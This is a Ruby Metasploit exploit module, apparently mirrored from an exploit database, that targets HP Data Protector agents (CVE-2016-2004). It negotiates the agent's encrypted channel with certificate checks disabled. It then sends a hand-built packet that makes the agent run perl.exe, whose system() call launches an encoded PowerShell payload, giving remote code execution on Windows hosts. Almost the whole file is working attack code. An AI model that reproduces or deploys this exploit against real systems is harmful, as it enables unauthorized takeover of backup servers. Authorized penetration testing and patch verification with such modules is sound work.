## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/powershell' require 'openssl' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => "HP Data Protector Encrypted Communication Remote Command Execution", 'Description' => %q{ This module exploits a well known remote code execution exploit after establishing encrypted control communications with a Data Protector agent. This allows exploitation of Data Protector agents that have been configured to only use encrypted control communications. This exploit works by executing the payload with Microsoft PowerShell so will only work against Windows Vista or newer. Tested against Data Protector 9.0 installed on Windows Server 2008 R2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jon Barg', # Reported vuln (originally discovery?) credited by HP 'Ian Lovering' # Metasploit module ], 'References' => [ [ 'CVE', '2016-2004' ], [ 'URL', 'http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05085988' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'WfsDelay' => 30, 'RPORT' => 5555 }, 'Privileged' => false, 'DisclosureDate' => "Apr 18 2016", 'DefaultTarget' => 0)) end def check # For the check command connect sock.put(rand_text_alpha_upper(64)) response = sock.get_once(-1) disconnect if response.nil? return Exploit::CheckCode::Safe end service_version = Rex::Text.to_ascii(response).chop.chomp if service_version =~ /HP Data Protector/ vprint_status(service_version) return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def generate_dp_payload command = cmd_psh_payload( payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true }) payload = "\x32\x00\x01\x01\x01\x01\x01\x01" + "\x00\x01\x00\x01\x00\x01\x00\x01" + "\x01\x00\x20\x32\x38\x00\x5c\x70" + "\x65\x72\x6c\x2e\x65\x78\x65\x00" + "\x20\x2d\x65\x73\x79\x73\x74\x65" + "\x6d('#{command}')\x00" payload_length = [payload.length].pack('N') return payload_length + payload end def exploit # Main function encryption_init_data = "\x00\x00\x00\x48\xff\xfe\x32\x00\x36\x00\x37\x00\x00\x00\x20\x00" + "\x31\x00\x30\x00\x00\x00\x20\x00\x31\x00\x30\x00\x30\x00\x00\x00" + "\x20\x00\x39\x00\x30\x00\x30\x00\x00\x00\x20\x00\x38\x00\x38\x00" + "\x00\x00\x20\x00\x6f\x00\x6d\x00\x6e\x00\x69\x00\x64\x00\x6c\x00" + "\x63\x00\x00\x00\x20\x00\x34\x00\x00\x00\x00\x00" print_status("Initiating connection") # Open connection connect # Send init data sock.put(encryption_init_data) begin buf = sock.get_once rescue ::EOFError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end print_status("Establishing encrypted channel") # Create TLS / SSL context sock.extend(Rex::Socket::SslTcp) sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23) sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE sock.sslctx.options = OpenSSL::SSL::OP_ALL # Enable all ciphers as older versions of Data Protector only use # some not enabled by default sock.sslctx.ciphers = "ALL" # Enable TLS / SSL sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx) sock.sslsock.connect print_status("Sending payload") # Send payload sock.put(generate_dp_payload(), {timeout: 5}) # Close socket disconnect print_status("Waiting for payload execution (this can take up to 30 seconds or so)") end end # Iranian Exploit DataBase = http://IeDb.Ir [2016-06-20]